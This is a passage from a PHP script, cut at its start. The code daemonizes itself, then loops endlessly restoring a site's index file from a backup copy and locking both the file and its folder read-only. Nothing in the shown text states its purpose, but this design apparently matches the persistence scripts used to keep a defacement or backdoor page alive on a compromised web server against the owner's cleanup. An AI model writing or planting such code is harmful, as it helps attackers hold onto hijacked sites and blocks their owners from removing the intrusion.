0) { file_put_contents($pidFile, $pid); exit(); } posix_setsid(); while (true) { if (!is_dir($protectedFolder)) { mkdir($protectedFolder, 0755, true); } if (!file_exists($indexFile)) { copy($backupFile, $indexFile); } else { if (md5_file($indexFile) !== md5_file($backupFile)) { copy($backupFile, $indexFile); } } chmod($indexFile, 0444); chmod($protectedFolder, 0555); sleep(0.5); } ?>